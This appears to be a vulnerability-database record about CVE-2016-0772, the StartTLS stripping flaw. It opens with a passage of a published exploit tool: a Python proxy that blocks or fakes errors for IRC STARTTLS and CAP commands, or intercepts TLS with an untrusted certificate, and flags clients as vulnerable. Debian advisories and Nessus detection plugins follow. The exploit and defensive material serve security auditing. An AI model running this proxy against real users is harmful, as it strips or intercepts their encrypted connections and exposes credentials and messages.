announce it.. proto violation: %s\"%repr(data))\r\n #elif all(kw.lower() in data.lower() for kw in (\"cap req\",\"tls\")):\r\n # # mangle CAPABILITY REQUEST\r\n # if \":\" in data:\r\n # cmd, caps = data.split(\":\")\r\n # caps = (c for c in caps.split(\" \") if not \"tls\" in c.lower())\r\n # data=\"%s:%s\"%(cmd,' '.join(caps))\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithError:\r\n ''' 1) force server error on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'STARTTLS'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithNotRegistered:\r\n ''' 1) force server wrong state on client sending STARTTLS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'You have not registered'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripCAPWithNotRegistered:\r\n ''' 1) force server wrong state on client sending CAP LS\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"CAP LS\" in data:\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'You have not registered'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class StripWithSilentDrop:\r\n ''' 1) silently drop starttls command\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n class UntrustedIntercept:\r\n ''' 1) Do not mangle server data\r\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\r\n in case client does not check keys\r\n '''\r\n @staticmethod\r\n def mangle_server_data(session, data, rewrite):\r\n if \" ident \" in data.lower():\r\n #TODO: proxy ident\r\n pass\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n @staticmethod\r\n def mangle_client_data(session, data, rewrite):\r\n if \"STARTTLS\" in data:\r\n # do inbound STARTTLS\r\n params = {'srv':'this.server.com',\r\n 'nickname': '*',\r\n 'cmd': 'STARTTLS'\r\n }\r\n # if we're lucky we can extract the username from a prev. server line\r\n prev_response = session.outbound.recvbuf.strip()\r\n if prev_response: \r\n fields = prev_response.split(\" \")\r\n try:\r\n params['srv'] = fields[0]\r\n params['nickname'] = fields[2]\r\n except IndexError:\r\n pass\r\n session.inbound.sendall(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\\r\\n\"%params)\r\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\\r\\n\"%params)))\r\n context = Vectors.GENERIC.Intercept.create_ssl_context()\r\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \r\n keyfile=Vectors._TLS_KEYFILE)\r\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\r\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\r\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\r\n # outbound ssl\r\n \r\n session.outbound.sendall(data)\r\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\r\n resp_data = session.outbound.recv_blocked()\r\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\r\n if not \" 670 \" in resp_data:\r\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\r\n \r\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\r\n session.outbound.ssl_wrap_socket()\r\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\r\n \r\n data=None\r\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\r\n rewrite.set_result(session, True)\r\n return data\r\n \r\n \r\nclass RewriteDispatcher(object):\r\n def __init__(self, generic_tls_intercept=False):\r\n self.vectors = {} # proto:[vectors]\r\n self.results = [] # [ {session,client_ip,mangle,result}, }\r\n self.session_to_mangle = {} # session:mangle\r\n self.generic_tls_intercept = generic_tls_intercept\r\n \r\n def __repr__(self):\r\n return \"<RewriteDispatcher ssl/tls_intercept=%s vectors=%s>\"%(self.generic_tls_intercept, repr(self.vectors))\r\n \r\n def get_results(self):\r\n return self.results\r\n \r\n def get_results_by_clients(self):\r\n results = {} #client:{mangle:result}\r\n for r in self.get_results():\r\n client = r['client']\r\n results.setdefault(client,[])\r\n mangle = r['mangle']\r\n result = r['result']\r\n results[client].append((mangle,result))\r\n return results\r\n \r\n def get_result(self, session):\r\n for r in self.get_results():\r\n if r['session']==session:\r\n return r\r\n return None\r\n \r\n def set_result(self, session, value):\r\n r = self.get_result(session)\r\n r['result'] = value\r\n \r\n def add(self, proto, attack):\r\n self.vectors.setdefault(proto,set([]))\r\n self.vectors[proto].add(attack)\r\n \r\n def get_mangle(self, session):\r\n ''' smart select mangle\r\n return same mangle for same session\r\n return different for different session\r\n try to use all mangles for same client-ip\r\n '''\r\n # 1) session already has a mangle associated to it\r\n mangle = self.session_to_mangle.get(session)\r\n if mangle:\r\n return mangle\r\n # 2) pick new mangle (round-robin) per client\r\n # \r\n client_ip = session.inbound.peer[0]\r\n client_mangle_history = [r for r in self.get_results() if r['client']==client_ip]\r\n \r\n all_mangles = list(self.get_mangles(session.protocol.protocol_id))\r\n if not all_mangles:\r\n return None\r\n new_index = 0\r\n if client_mangle_history:\r\n previous_result = client_mangle_history[-1]\r\n new_index = (all_mangles.index(previous_result['mangle'])+1) % len(all_mangles)\r\n mangle = all_mangles[new_index]\r\n \r\n self.results.append({'client':client_ip,\r\n 'session':session,\r\n 'mangle':mangle,\r\n 'result':None}) \r\n \r\n #mangle = iter(self.get_mangles(session.protocol.protocol_id)).next()\r\n logger.debug(\"<RewriteDispatcher - changed mangle: %s new: %s>\"%(mangle,\"False\" if len(client_mangle_history)>len(all_mangles) else \"True\"))\r\n self.session_to_mangle[session] = mangle\r\n return mangle\r\n \r\n def get_mangles(self, proto):\r\n m = self.vectors.get(proto,set([]))\r\n m.update(self.vectors.get(None,[]))\r\n return m\r\n \r\n def mangle_server_data(self, session, data):\r\n data_orig = data\r\n logger.debug(\"%s [client] <= [server] %s\"%(session,repr(data)))\r\n if self.get_mangle(session):\r\n data = self.get_mangle(session).mangle_server_data(session, data, self)\r\n if data!=data_orig:\r\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(data)))\r\n return data\r\n \r\n def mangle_client_data(self, session, data):\r\n data_orig = data\r\n logger.debug(\"%s [client] => [server] %s\"%(session,repr(data)))\r\n if self.get_mangle(session):\r\n #TODO: just use the first one for now\r\n data = self.get_mangle(session).mangle_client_data(session, data, self)\r\n if data!=data_orig:\r\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\r\n return data\r\n \r\n def on_recv_peek(self, s_in, session):\r\n if self.generic_tls_intercept:\r\n # forced by cmdline-option\r\n return Vectors.GENERIC.Intercept.on_recv_peek(session, s_in)\r\n elif hasattr(self.get_mangle(session), \"on_recv_peek\"):\r\n return self.get_mangle(session).on_recv_peek(session, s_in)\r\n \r\ndef main():\r\n from optparse import OptionParser\r\n ret = 0\r\n usage = \"\"\"usage: %prog [options]\r\n \r\n example: %prog --listen 0.0.0.0:25 --remote mail.server.tld:25 \r\n \"\"\"\r\n parser = OptionParser(usage=usage)\r\n parser.add_option(\"-q\", \"--quiet\",\r\n action=\"store_false\", dest=\"verbose\", default=True,\r\n help=\"be quiet [default: %default]\")\r\n parser.add_option(\"-l\", \"--listen\", dest=\"listen\", help=\"listen ip:port [default: 0.0.0.0:<remote_port>]\")\r\n parser.add_option(\"-r\", \"--remote\", dest=\"remote\", help=\"remote target ip:port to forward sessions to\")\r\n parser.add_option(\"-k\", \"--key\", dest=\"key\", default=\"server.pem\", help=\"SSL Certificate and Private key file to use, PEM format assumed [default: %default]\")\r\n parser.add_option(\"-s\", \"--generic-ssl-intercept\",\r\n action=\"store_true\", dest=\"generic_tls_intercept\", default=False,\r\n help=\"dynamically intercept SSL/TLS\")\r\n parser.add_option(\"-b\", \"--bufsiz\", dest=\"buffer_size\", type=\"int\", default=4096)\r\n \r\n all_vectors = []\r\n for proto in (v for v in dir(Vectors) if not v.startswith(\"_\")):\r\n for test in (v for v in dir(getattr(Vectors,proto)) if not v.startswith(\"_\")):\r\n all_vectors.append(\"%s.%s\"%(proto,test))\r\n parser.add_option(\"-x\", \"--vectors\",\r\n default=\"ALL\",\r\n help=\"Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: \"+\", \".join(all_vectors)+\"\"\r\n \" [default: %default]\")\r\n # parse args\r\n (options, args) = parser.parse_args()\r\n # normalize args\r\n if not options.verbose:\r\n logger.setLevel(logging.INFO)\r\n if not options.remote:\r\n parser.error(\"mandatory option: remote\")\r\n if \":\" not in options.remote and \":\" in options.listen:\r\n # no port in remote, but there is one in listen. use this one\r\n options.remote = (options.remote.strip(), int(options.listen.strip().split(\":\")[1]))\r\n logger.warning(\"no remote port specified - falling back to %s:%d (listen port)\"%options.remote)\r\n elif \":\" in options.remote:\r\n options.remote = options.remote.strip().split(\":\")\r\n options.remote = (options.remote[0], int(options.remote[1]))\r\n else:\r\n parser.error(\"neither remote nor listen is in the format <host>:<port>\")\r\n if not options.listen:\r\n logger.warning(\"no listen port specified - falling back to 0.0.0.0:%d (remote port)\"%options.remote[1])\r\n options.listen = (\"0.0.0.0\",options.remote[1])\r\n elif \":\" in options.listen:\r\n options.listen = options.listen.strip().split(\":\")\r\n options.listen = (options.listen[0], int(options.listen[1]))\r\n else:\r\n options.listen = (options.listen.strip(), options.remote[1])\r\n logger.warning(\"no listen port specified - falling back to %s:%d (remote port)\"%options.listen)\r\n options.vectors = [o.strip() for o in options.vectors.strip().split(\",\")]\r\n if 'ALL' in (v.upper() for v in options.vectors):\r\n options.vectors = all_vectors\r\n elif 'NONE' in (v.upper() for v in options.vectors):\r\n options.vectors = []\r\n Vectors._TLS_CERTFILE = Vectors._TLS_KEYFILE = options.key\r\n \r\n # ---- start up engines ----\r\n prx = ProxyServer(listen=options.listen, target=options.remote, \r\n buffer_size=options.buffer_size, delay=0.00001)\r\n logger.info(\"%s ready.\"%prx)\r\n rewrite = RewriteDispatcher(generic_tls_intercept=options.generic_tls_intercept)\r\n \r\n for classname in options.vectors:\r\n try:\r\n proto, vector = classname.split('.',1)\r\n cls_proto = getattr(globals().get(\"Vectors\"),proto)\r\n cls_vector = getattr(cls_proto, vector)\r\n rewrite.add(cls_proto._PROTO_ID, cls_vector)\r\n logger.debug(\"* added vector (port:%-5s, proto:%8s): %s\"%(cls_proto._PROTO_ID, proto, repr(cls_vector)))\r\n except Exception, e:\r\n logger.error(\"* error - failed to add: %s\"%classname)\r\n parser.error(\"invalid vector: %s\"%classname)\r\n \r\n logging.info(repr(rewrite))\r\n prx.set_callback(\"mangle_server_data\", rewrite.mangle_server_data)\r\n prx.set_callback(\"mangle_client_data\", rewrite.mangle_client_data)\r\n prx.set_callback(\"on_recv_peek\", rewrite.on_recv_peek)\r\n try:\r\n prx.main_loop()\r\n except KeyboardInterrupt:\r\n logger.warning( \"Ctrl C - Stopping server\")\r\n ret+=1\r\n \r\n logger.info(\" -- audit results --\")\r\n for client,resultlist in rewrite.get_results_by_clients().iteritems():\r\n logger.info(\"[*] client: %s\"%client)\r\n for mangle, result in resultlist:\r\n logger.info(\" [%-11s] %s\"%(\"Vulnerable!\" if result else \" \",repr(mangle)))\r\n \r\n sys.exit(ret)\r\n \r\nif __name__ == '__main__':\r\n main()\n\n# 0day.today [2018-04-05] #", "sourceHref": "https://0day.today/exploit/29438", "cvss": {"score": 5.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}], "debian": [{"lastseen": "2020-08-12T00:55:33", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "Package : python3.2\nVersion : 3.2.3-7+deb7u1\nCVE ID : CVE-2016-0772\n\nIt was discovered that there was a TLS stripping vulnerability in the smptlib\nlibrary distributed with the CPython interpreter.\n\nThe library did not return an error if StartTLS failed, which might have\nallowed man-in-the-middle attackers to bypass the TLS protections by leveraging\na network position to block the StartTLS command.\n\nFor Debian 7 "Wheezy", this issue has been fixed in python3.2 version\n3.2.3-7+deb7u1.\n\nWe recommend that you upgrade your python3.2 packages.\n\n\nRegards,\n\n- -- \n ,''`.\n : :' : Chris Lamb\n `. `'` lamby@debian.org / chris-lamb.co.uk\n `-\n\n", "edition": 9, "modified": "2017-03-25T08:53:43", "published": "2017-03-25T08:53:43", "id": "DEBIAN:DLA-871-1:C4200", "href": "https://lists.debian.org/debian-lts-announce/2017/debian-lts-announce-201703/msg00029.html", "title": "[SECURITY] [DLA 871-1] python3.2 security update", "type": "debian", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-30T02:21:51", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2016-5636", "CVE-2016-5699"], "description": "Package : python2.7\nVersion : 2.7.3-6+deb7u3\nCVE ID : CVE-2016-0772 CVE-2016-5636 CVE-2016-5699\n\n * CVE-2016-0772\n A vulnerability in smtplib allowing MITM attacker to perform a\n startTLS stripping attack. smtplib does not seem to raise an\n exception when the remote end (smtp server) is capable of\n negotiating starttls but fails to respond with 220 (ok) to an\n explicit call of SMTP.starttls(). This may allow a malicious\n MITM to perform a startTLS stripping attack if the client code\n does not explicitly check the response code for startTLS.\n * CVE-2016-5636\n Issue #26171: Fix possible integer overflow and heap corruption\n in zipimporter.get_data().\n * CVE-2016-5699\n Protocol injection can occur not only if an application sets a\n header based on user-supplied values, but also if the application\n ever tries to fetch a URL specified by an attacker (SSRF case) OR\n if the application ever accesses any malicious web server\n (redirection case).\n\nFor Debian 7 "Wheezy", these problems have been fixed in version\n2.7.3-6+deb7u3.\n\nWe recommend that you upgrade your python2.7 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 3, "modified": "2016-06-21T20:25:23", "published": "2016-06-21T20:25:23", "id": "DEBIAN:DLA-522-1:8516F", "href": "https://lists.debian.org/debian-lts-announce/2016/debian-lts-announce-201606/msg00022.html", "title": "[SECURITY] [DLA 522-1] python2.7 security update", "type": "debian", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-08-12T01:07:34", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772", "CVE-2018-20406", "CVE-2016-5636", "CVE-2019-5010", "CVE-2016-5699"], "description": "Package : python3.4\nVersion : 3.4.2-1+deb8u2\nCVE ID : CVE-2016-0772 CVE-2016-5636 CVE-2016-5699 CVE-2018-20406 \n CVE-2019-5010\n\nThis DLA fixes a a problem parsing x509 certificates, an pickle integer\noverflow, and some other minor issues:\n\nCVE-2016-0772\n\n The smtplib library in CPython does not return an error when StartTLS fails,\n which might allow man-in-the-middle attackers to bypass the TLS protections by\n leveraging a network position between the client and the registry to block the\n StartTLS command, aka a "StartTLS stripping attack."\n\nCVE-2016-5636\n\n Integer overflow in the get_data function in zipimport.c in CPython\n allows remote attackers to have unspecified impact via a negative data size\n value, which triggers a heap-based buffer overflow.\n\nCVE-2016-5699\n\n CRLF injection vulnerability in the HTTPConnection.putheader function in\n urllib2 and urllib in CPython allows remote attackers to inject arbitrary HTTP\n headers via CRLF sequences in a URL.\n\nCVE-2018-20406\n\n Modules/_pickle.c has an integer overflow via a large LONG_BINPUT value\n that is mishandled during a "resize to twice the size" attempt. This issue\n might cause memory exhaustion, but is only relevant if the pickle format is\n used for serializing tens or hundreds of gigabytes of data.\n\nCVE-2019-5010\n\n NULL pointer dereference using a specially crafted X509 certificate.\n\nFor Debian 8 "Jessie", these problems have been fixed in version\n3.4.2-1+deb8u2.\n\nWe recommend that you upgrade your python3.4 packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS\n", "edition": 8, "modified": "2019-02-07T10:18:09", "published": "2019-02-07T10:18:09", "id": "DEBIAN:DLA-1663-1:4268B", "href": "https://lists.debian.org/debian-lts-announce/2019/debian-lts-announce-201902/msg00011.html", "title": "[SECURITY] [DLA 1663-1] python3.4 security update", "type": "debian", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2021-01-06T10:55:06", "description": "Red Hat reports :\n\nA vulnerability in smtplib allowing MITM attacker to perform a\nstartTLS stripping attack. smtplib does not seem to raise an exception\nwhen the remote end (smtp server) is capable of negotiating starttls\nbut fails to respond with 220 (ok) to an explicit call of\nSMTP.starttls(). This may allow a malicious MITM to perform a startTLS\nstripping attack if the client code does not explicitly check the\nresponse code for startTLS.", "edition": 25, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2016-07-05T00:00:00", "title": "FreeBSD : Python -- smtplib StartTLS stripping vulnerability (8d5368ef-40fe-11e6-b2ec-b499baebfeaf)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-05T00:00:00", "cpe": ["p-cpe:/a:freebsd:freebsd:python35", "p-cpe:/a:freebsd:freebsd:python34", "cpe:/o:freebsd:freebsd", "p-cpe:/a:freebsd:freebsd:python27", "p-cpe:/a:freebsd:freebsd:python33"], "id": "FREEBSD_PKG_8D5368EF40FE11E6B2ECB499BAEBFEAF.NASL", "href": "https://www.tenable.com/plugins/nessus/91931", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from the FreeBSD VuXML database :\n#\n# Copyright 2003-2018 Jacques Vidrine and contributors\n#\n# Redistribution and use in source (VuXML) and 'compiled' forms (SGML,\n# HTML, PDF, PostScript, RTF and so forth) with or without modification,\n# are permitted provided that the following conditions are met:\n# 1. Redistributions of source code (VuXML) must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer as the first lines of this file unmodified.\n# 2. Redistributions in compiled form (transformed to other DTDs,\n# published online in any format, converted to PDF, PostScript,\n# RTF and other formats) must reproduce the above copyright\n# notice, this list of conditions and the following disclaimer\n# in the documentation and/or other materials provided with the\n# distribution.\n# \n# THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS\n# BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,\n# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT\n# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR\n# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(91931);\n script_version(\"2.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/04\");\n\n script_cve_id(\"CVE-2016-0772\");\n\n script_name(english:\"FreeBSD : Python -- smtplib StartTLS stripping vulnerability (8d5368ef-40fe-11e6-b2ec-b499baebfeaf)\");\n script_summary(english:\"Checks for updated packages in pkg_info output\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote FreeBSD host is missing one or more security-related\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Red Hat reports :\n\nA vulnerability in smtplib allowing MITM attacker to perform a\nstartTLS stripping attack. smtplib does not seem to raise an exception\nwhen the remote end (smtp server) is capable of negotiating starttls\nbut fails to respond with 220 (ok) to an explicit call of\nSMTP.starttls(). This may allow a malicious MITM to perform a startTLS\nstripping attack if the client code does not explicitly check the\nresponse code for startTLS.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772\"\n );\n # https://vuxml.freebsd.org/freebsd/8d5368ef-40fe-11e6-b2ec-b499baebfeaf.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?630e24a8\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:python27\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:python33\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:python34\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:freebsd:freebsd:python35\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:freebsd:freebsd\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/06/14\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/07/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/05\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"FreeBSD Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/FreeBSD/release\", \"Host/FreeBSD/pkg_info\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"freebsd_package.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/FreeBSD/release\")) audit(AUDIT_OS_NOT, \"FreeBSD\");\nif (!get_kb_item(\"Host/FreeBSD/pkg_info\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (pkg_test(save_report:TRUE, pkg:\"python27<2.7.12\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"python33>0\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"python34<3.4.5\")) flag++;\nif (pkg_test(save_report:TRUE, pkg:\"python35<3.5.2\")) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:pkg_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T09:44:20", "description": "It was discovered that there was a TLS stripping vulnerability in the\nsmptlib library distributed with the CPython interpreter.\n\nThe library did not return an error if StartTLS failed, which might\nhave allowed man-in-the-middle attackers to bypass the TLS protections\nby leveraging a network position to block the StartTLS command.\n\nFor Debian 7 'Wheezy', this issue has been fixed in python3.2 version\n3.2.3-7+deb7u1.\n\nWe recommend that you upgrade your python3.2 packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security advisory. Tenable has attempted\nto automatically clean and format it as much as possible without\nintroducing additional issues.", "edition": 15, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2017-03-27T00:00:00", "title": "Debian DLA-871-1 : python3.2 security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "modified": "2017-03-27T00:00:00", "cpe": ["p-cpe:/a:debian:debian_linux:python3.2-dbg", "p-cpe:/a:debian:debian_linux:python3.2", "p-cpe:/a:debian:debian_linux:python3.2-dev", "p-cpe:/a:debian:debian_linux:python3.2-examples", "p-cpe:/a:debian:debian_linux:libpython3.2", "p-cpe:/a:debian:debian_linux:python3.2-doc", "p-cpe:/a:debian:debian_linux:idle-python3.2", "cpe:/o:debian:debian_linux:7.0", "p-cpe:/a:debian:debian_linux:python3.2-minimal"], "id": "DEBIAN_DLA-871.NASL", "href": "https://www.tenable.com/plugins/nessus/97966", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Debian Security Advisory DLA-871-1. The text\n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(97966);\n script_version(\"3.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\");\n\n script_name(english:\"Debian DLA-871-1 : python3.2 security update\");\n script_summary(english:\"Checks dpkg output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"It was discovered that there was a TLS stripping vulnerability in the\nsmptlib library distributed with the CPython interpreter.\n\nThe library did not return an error if StartTLS failed, which might\nhave allowed man-in-the-middle attackers to bypass the TLS protections\nby leveraging a network position to block the StartTLS command.\n\nFor Debian 7 'Wheezy', this issue has been fixed in python3.2 version\n3.2.3-7+deb7u1.\n\nWe recommend that you upgrade your python3.2 packages.\n\nNOTE: Tenable Network Security has extracted the preceding description\nblock directly from the DLA security 